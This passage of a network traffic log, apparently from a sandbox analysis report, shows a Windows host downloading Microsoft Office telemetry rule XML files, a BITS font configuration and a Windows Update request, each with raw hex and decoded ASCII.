2024-10-28 17:43:19 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-28 17:43:19 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-28 17:43:19 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-28 17:43:19 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-28 17:43:19 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-28 17:43:19 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-28 17:43:20 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-28 17:43:20 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-28 17:43:20 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-28 17:43:20 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	63431	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:19 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-28 17:43:19 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=155543 Date: Mon, 28 Oct 2024 17:43:19 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-28 17:43:19 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	63439	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:21 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:21 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 5e9af5f8-e01e-0099-17f4-24da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174321Z-15b8d89586fvk4kmbg8pf84y88000000069g00000000621q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:22 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	63442	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:21 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:22 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:21 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 3be177bf-d01e-007a-546e-28f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174321Z-15b8d89586fzhrwgk23ex2bvhw000000088g000000004cvu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:22 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	63438	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:21 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:22 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:21 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 041e76a7-601e-005c-45ae-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174321Z-16849878b78p49s6zkwt11bbkn00000004wg00000000tda1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:22 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	63441	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:21 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:22 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:21 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 11ae3112-301e-005d-596b-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174321Z-16849878b787wpl5wqkt5731b40000000650000000006tgr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:22 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	63440	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:21 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:22 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:21 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1a9c8bfd-301e-0000-1fee-25eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174321Z-15b8d89586f5s5nz3ffrgxn5ac0000000640000000001u8c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:22 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	63433	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:22 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=FBpGfAvUTte+PfH&MD=dBuea8K9 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
